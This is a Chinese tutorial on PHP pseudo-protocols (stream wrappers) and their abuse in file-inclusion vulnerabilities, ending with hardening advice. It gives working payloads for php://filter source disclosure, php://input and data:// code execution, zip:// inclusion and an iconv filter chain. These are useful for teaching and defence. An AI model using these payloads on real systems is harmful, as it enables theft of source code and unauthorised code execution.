php伪协议
字数 1265 2025-08-20 18:17:58
PHP伪协议详解与安全实践
1. PHP伪协议概述
PHP内置了多种URL风格的封装协议,可以与文件系统函数(如fopen()、copy()、file_exists()和filesize()等)配合使用。这些协议提供了灵活的文件访问方式,但也可能带来安全风险。
2. 常见PHP伪协议详解
2.1 file://协议
定义:用于访问本地文件系统
特点:
- 不受
allow_url_fopen和allow_url_include配置影响 - 如果文件包含PHP代码会被执行
使用方法:
file://文件的绝对路径
示例:
include('file:///var/www/html/config.php');
2.2 php://协议
2.2.1 php://filter/
用途:读取文件源码
特点:
- 需要对PHP代码文件进行编码输出,否则会被执行
- 适用于
allow_url_fopen和allow_url_include任何配置
基本payload:
php://filter/read=convert.base64-encode/resource=file
payload解析:
php://filter/:PHP流封装器,提供数据过滤功能read=convert.base64-encode/:指定base64编码过滤器resource=file:指定要操作的文件
过滤器变种:
php://filter/convert.iconv.a.b/resource=check.php
其中a、b为编码格式,如:
php://filter/convert.iconv.UTF-7.UCS-4*/resource=check.php
php://filter/read=string.rot13/resource=imposible.php
复杂过滤器示例:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|convert.base64-decode/resource=php://temp
2.2.2 php://input
用途:访问请求原始数据流,执行POST数据中的PHP代码
利用条件:
allow_url_include必须为onallow_url_fopen任意
利用方法:
?file=php://input
POST数据:
<?php phpinfo();?>
注意事项:
- 需要使用原始POST请求(如Burp Suite)
- URL编码可能导致执行失败
2.3 zip://协议
用途:访问压缩包内文件
特点:
- 需要绝对路径
- #号需URL编码为%23
- 压缩包后缀可任意
payload格式:
zip://[压缩包绝对路径]%23[压缩包内文件]
示例:
?file=zip://D:\1.zip%23phpinfo.txt
类似协议:
- zlib://
- bzip2://
2.4 data://协议
用途:直接处理数据流
利用条件:
allow_url_fopen必须为onallow_url_include必须为on
基本payload:
data://text/plain,<?php phpinfo();?>
base64编码payload:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
绕过示例:
data://text/plain;base64,c3VjY2Vzcw== // 'success'的base64编码
注意事项:
- base64编码前的PHP代码不能包含分号
- 特殊字符需正确处理
3. 防御措施
-
输入过滤:
- 使用
str_replace等方法过滤危险字符 - 实现白名单限制
- 使用
-
配置加固:
- 设置
open_basedir限制文件访问范围 - 将
allow_url_include和allow_url_fopen设为最小权限
- 设置
-
文件管理:
- 对上传文件重命名(如使用伪随机数)
- 及时升级PHP版本,防止%00截断等漏洞
-
代码审查:
- 检查所有文件操作函数的使用
- 验证用户输入是否直接用于文件操作
4. 总结
PHP伪协议提供了强大的文件操作能力,但也带来了严重的安全隐患。安全人员应充分了解这些协议的工作原理和利用方式,以便在开发中实施有效的防御措施。同时,定期进行安全审计和配置检查是确保系统安全的重要环节。